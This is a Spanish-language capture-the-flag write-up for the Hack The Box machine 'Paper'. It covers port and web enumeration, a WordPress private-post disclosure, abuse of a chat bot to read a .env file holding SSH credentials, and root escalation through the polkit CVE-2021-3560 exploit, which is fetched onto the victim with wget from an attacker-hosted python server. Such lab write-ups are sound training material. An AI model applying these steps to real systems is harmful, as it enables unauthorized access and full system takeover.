Paper - Hack the Box

Featured image

HTBadge

Como siempre, comenzamos lanzando nmap para descubrir puertos abiertos.

nmap -p- -n -Pn --min-rate 5000 10.10.11.143 -sCV --open

Como vemos tenemos los puertos 80, 443 y 22

En el puerto 80 encuentro lo siguiente:

En la página principal no hay nada interesante, lanzo gobuster y no encuentro nada relevante, ninguna ruta ni archivos con extensión…

Decido lanzar nikto para un escaneo más detallado y potente y encuentro esto:

nikto -h 10.10.11.143

Tenemos un vhost que añado a al archivo hosts de mi máquina.

Accedemos desde el navegador al vhost y encontramos una web diferente, en concreto, un Wordpress.

Cuando hablamos de Wordpress… Wpscan es la clave!!!

Lanzo wpscan bajo el siguiente comando

wpscan --enumerate --url office.paper

Y además de los usuarios encuentro la versión de Wordpress

Lo siguiente que hago al saber la versión es buscar posibles vulnerabilidades en la versión Wordpress 5.2.3

Encuentro una vulnerabilidad que permite leer Posts Privados sin necesidad de estar autenticados en Wordpress.

Usando ciertos parámetros en la url podemos descubrir posts privados.

http://office.paper/?static=1&order=YYYYMMDD

Donde encontramos un subdominio y una url.

Lo añadimos al archivo hosts, accedemos a la url y encontramos un formulario de registro.

Me registro y accedo con las credenciales creadas.

Nos encontramos con una especie de chat, buscando encuentro un grupo llamado #general al que accedo.

En el cual hay varios usuarios y lo que parece ser un bot (recyclops).

Leyendo los mensajes del grupo, encuentro varios mensajes enviados por el bot (recyclops) que dicen lo siguiente:

Este bot nos permite ejecutar varios comandos:

    list → listar archivos

    file → leer archivos

Asique procedo a probar los comandos y a ver que respuesta me devuelve:

Voy listando poco a poco hasta que encuentro lo siguiente:

Voy leyendo diferentes archivos hasta que encuentro dentro de la ruta ../hubot un archivo .env

Y encuentro credenciales que podrían ser válidas para conectarnos por ssh

Al probarlas, no funciona … Pero me fijé en que el propietario de los archivos del servidor es dwight.

Pruebo con dwight y consigo acceder, conexión ssh exitosa.

ssh dwight@10.10.11.143

Una vez estamos dentro podremos leer la flag user.txt

A continuación me dispongo a escalar privilegios y lanzo el famoso linpeas.sh para buscar posibles formas de escalar.

Y me encuentro con una posible vulnerabilidad

CVE-2021–3560 permite que un atacante local sin privilegios obtenga privilegios de root mediante el uso de polkit

REFERENCIAS

https://github.com/Almorabea/Polkit-exploit

https://www.hackplayers.com/2021/06/escalado-de-privilegios-mediante-polkit.html

Encuentro el exploit aquí, lo descargo y mediante el uso de un servidor de python3 me lo descargo desde la máquina.

Máquina atacante

python3 -m http.server 8080

Máquina Víctima (ssh)

wget http://<ip-tun0>:<8080>/exploitname.py

Le asigno permisos, lo ejecuto y listo, somos root y podemos leer la flag root.txt.